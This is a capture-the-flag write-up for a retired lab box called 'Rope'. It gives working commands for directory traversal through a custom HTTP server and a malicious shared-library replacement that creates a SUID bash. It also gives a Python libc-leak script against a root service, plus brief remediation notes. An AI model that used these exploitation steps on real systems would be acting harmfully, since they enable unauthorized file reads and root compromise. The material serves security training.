Rope
Summary
Rope answers on two ports, and the one that matters is a custom HTTP service on 9999 that serves any path it is given — including a path that climbs out of its document root. It runs as r4j, so the read is somebody else's read, and what it is used for here is the parts of the running system that live in files: a process list, a socket list, the staged flag. The session this account starts from is john's, and john holds one sudo rule — readlogs, as r4j, without a password.
Not root, which is what makes it look harmless. Readlogs links a shared library that anyone may write, so the rule runs my code as r4j the moment the library is replaced; a trap puts the original back, because a root service loads it too. That root service listens on the loopback and asks for a message.
It answers with a pointer out of its own address space, which is one leak, which is all the randomisation is worth — the offset from that pointer to libc is fixed, the crash logs already say which offset reaches the instruction pointer, and the service is root's.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Some commands also carry a value in angle brackets — <the-offset-from-the-crash-log>, <the-offset-from-the-map>, <your-key> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Full TCP scan.
$ nmap -Pn -p- --min-rate 5000 -T4 --open $TARGETVersion detection on discovered ports.
$ nmap -Pn -sV -p 22,9999 $TARGETExact commands 2
--path-as-is, or curl collapses the traversal before it leaves my machine. The accounts here are the first thing the read is worth.
$ curl -sS --path-as-is --max-time 8 "http://$TARGET:9999/../../../../etc/passwd"Whose reads these are. Uid 1000 is r4j, not the account I will log in as.
$ curl -sS --path-as-is --max-time 8 "http://$TARGET:9999/../../../../proc/self/status" | grep -E '^(Name|Uid|Gid)'FixSanitise URL paths in the custom HTTP server to prevent directory traversalCritical
Exact commands 2
The session everything below runs in.
$ ssh -i <your-key> john@$TARGETOne rule, and the run-as account is r4j rather than root. That distinction is the box.
$ sudo -n -lExact commands 3
What runs, and as whom. /opt/support/contact is root's.
$ curl -sS --path-as-is --max-time 8 "http://$TARGET:9999/../../../../tmp/ps-all" | grep -E 'contact|readlogs|/opt/'127.0.0.1:1337 is listening and is reachable from the box only.
$ curl -sS --path-as-is --max-time 8 "http://$TARGET:9999/../../../../tmp/ss-lnt"From john's session. Both link it, and the permissions say anyone may replace it.
$ ldd /usr/bin/readlogs /opt/support/contact | grep -i liblog && ls -la /lib/x86_64-linux-gnu/liblog.soFixDo not grant a sudo rule over a binary whose dependencies are writableCritical
Exact commands 4
The original first, and a trap to put it back. A root service loads this too.
$ cp /lib/x86_64-linux-gnu/liblog.so /tmp/liblog.so.real && trap 'cp /tmp/liblog.so.real /lib/x86_64-linux-gnu/liblog.so' EXIT HUP INT TERMOne exported symbol, matching the one the binary resolves.
$ cat > /tmp/liblog.c <<'EOF'
#include <stdlib.h>
// The name is what readlogs calls; what it does is mine.
void printlog(void) { system("/bin/bash -c 'id > /tmp/r4j.id; cp /bin/bash /tmp/r4jbash; chmod 4755 /tmp/r4jbash'"); }
EOF
gcc -shared -fPIC -o /lib/x86_64-linux-gnu/liblog.so /tmp/liblog.cThe rule runs it as r4j; the loader runs my library as r4j with it.
$ sudo -n -u r4j /usr/bin/readlogsUid=1000(r4j). Restore the original library now — the trap does it on exit, but not if the session dies badly.
$ cat /tmp/r4j.id && /tmp/r4jbash -p -c 'id'Exact commands 3
What protections it was built with decides which technique is left.
$ cp /opt/support/contact /tmp/contact.real && file /tmp/contact.real && checksec --file=/tmp/contact.realWhere libc sits in that process, which a leak will later confirm at runtime.
$ pid=$(pgrep -f '/opt/support/contact' | head -1) && cat /proc/$pid/maps | grep -E 'libc|contact|stack'The kernel's own record of earlier crashes: the fault address is the offset already found.
$ grep -Ei 'contact.*segfault|segfault.*contact' /var/log/kern.log /var/log/syslog | tail -20FixRemove world-writable permissions from the shared library loaded by the privileged sudo binaryCritical
Exact commands 4
From r4j's session. The banner asks for a message; the parser behind it is the target.
$ printf '' | nc -v 127.0.0.1 1337One leak defeats the randomisation. Everything after it is arithmetic against the copied libc.
$ python3 - <<'PY'
import re, socket, struct
s = socket.create_connection(('127.0.0.1', 1337))
print(s.recv(256))
# The message it echoes carries a pointer out of the process. Which
# offset reveals one comes from the crash lines already read.
s.send(b'A' * <the-offset-from-the-crash-log> + b'\n')
leak = s.recv(4096)
addr = struct.unpack('<Q', re.search(rb'[\x7f][\x00-\xff]{5}', leak).group(0).ljust(8, b'\x00'))[0]
print(hex(addr))
# Fixed for the build: subtract the offset the copied binary and the
# process map agree on, and every libc symbol has an address.
libc_base = addr - <the-offset-from-the-map>
print('LIBC_BASE', hex(libc_base))
PYThe same script with the return chain appended: system() at its computed address, a pointer to /bin/sh, and a gadget to line the argument up -> root.
$ python3 /tmp/contact_root.py-> <root.txt>
$ id -a && cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 9999/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.